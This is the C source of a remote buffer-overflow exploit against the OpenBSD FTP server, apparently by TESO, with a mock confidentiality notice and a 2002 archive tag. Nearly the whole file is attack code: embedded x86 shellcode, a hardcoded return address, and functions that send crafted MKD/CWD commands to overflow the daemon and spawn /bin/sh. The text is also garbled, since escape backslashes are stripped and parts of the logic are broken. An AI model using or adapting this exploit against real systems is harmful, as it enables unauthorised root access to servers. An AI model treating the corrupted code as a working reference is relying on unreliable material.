/* 7350-crocodile - x86/OpenBSD ftp exploit
 *
 * by lorian and scut / TESO=20
 * 
 *
 * TESO CONFIDENTIAL - SOURCE MATERIALS
 *
 * This is unpublished proprietary source code of TESO Security.
 *
 * The contents of these coded instructions, statements and computer
 * programs may not be disclosed to third parties, copied or duplicated in
 * any form, in whole or in part, without the prior written permission of
 * TESO Security. This includes especially the Bugtraq mailing list, the
 * www.hack.co.za website and any public exploit archive.
 *
 * (C) COPYRIGHT TESO Security, 2002
 * All Rights Reserved
 *
 *****************************************************************************
 *
 * greetz: synnergy, GOBBLES Security
 *
 */

#include <stdio.h>
#include <string.h>
#define RET 0xbfffeb30


#define VERSION  "0.2.0"
#define USERNAME "anonymous"
#define PASSWORD "guest@"


char shellcode[] =

"x32xdbx81xd1xb1x72xcdx83"
"x21x21x31xc2x32xdbxb5x27"
"xcdx71x23xc2xb3x72xcdx81"
"x32xc1x12xdbxb4x3excdx81"
"xebx4fx35xc2x31xc1x5exb1"
"x32x7dx5ex98xfexc2xb8xed"
"xcdx79x38xc1x1dx3ex18xb1"
"x3dxcdx82x32xc1xbbxd2xd2"
"xd2xffxf2xdbx39xc1xb2x11"
"x56x75xcex82x0ex81xc9x13"
"xe5xf2x1exb5x0dx8dx1ex11"
"xcdx21x31xc2x09x42x21x19"
"x70x48x21x41x9cxb3x2bx81"
"xf1x2dx2ex18x1dx32x7cxcd"
"x82xe2xacxffxffxff";

void mkd(char *dir)
{
        char blah[2048], *p;
        int n;
        bzero(blah, sizeof(blah));

        p = blah;
         for(n=1; n<strlen(dir); n++){
                if(dir[n] == 'xff'){
                        *p = 'xff';
                        p++;
                }
                *p = dir[n];
                p++;
        }

        printf("MKD %srn", blah);
        printf("CWD %srn", blah);
}

void
main (int argc, char *argv[])
{

char *buf;
char buf2[200];
char buf1[400];
char dir2[255];
char *p;
char *q;
char tmp[255];
int a;
int offset;
int i;

  if (argc > 0) offset = atoi(argv[0]);
    else offset = 1;

fprintf(stderr, "ret-addr = 0x%xn", RET + offset);
fprintf(stderr, "shell size = %dn", sizeof(shellcode));

dir2[231] = '1';
memset(dir2, 'x70', 255);

        printf("user %srn", USERNAME);
        printf("pass %srn", PASSWORD);
        printf("cwd %srn", argv[2]);

memset(buf1, 0x50, 150);
p = &buf1[sizeof(argv[0])];
q = &buf1[399];
*q = 'x00';
while(q <= p) {
        strncpy(tmp, p, 80);
        mkd(tmp);
        p+=255; }

        mkd(dir2);
        mkd(shellcode);
        mkd("bin");
        mkd("sh");

        memset(buf2, 0x30, 40);
// var 96
for(i=4; i<20; i+=4)
        *(long *)&buf2[i+1] = RET;
p = &buf2[0];
q = &buf2[50];
strncpy(tmp, p, 20);
 mkd(tmp);
 printf("pwdrn");
}


// www.Syue.com [2002-01-01]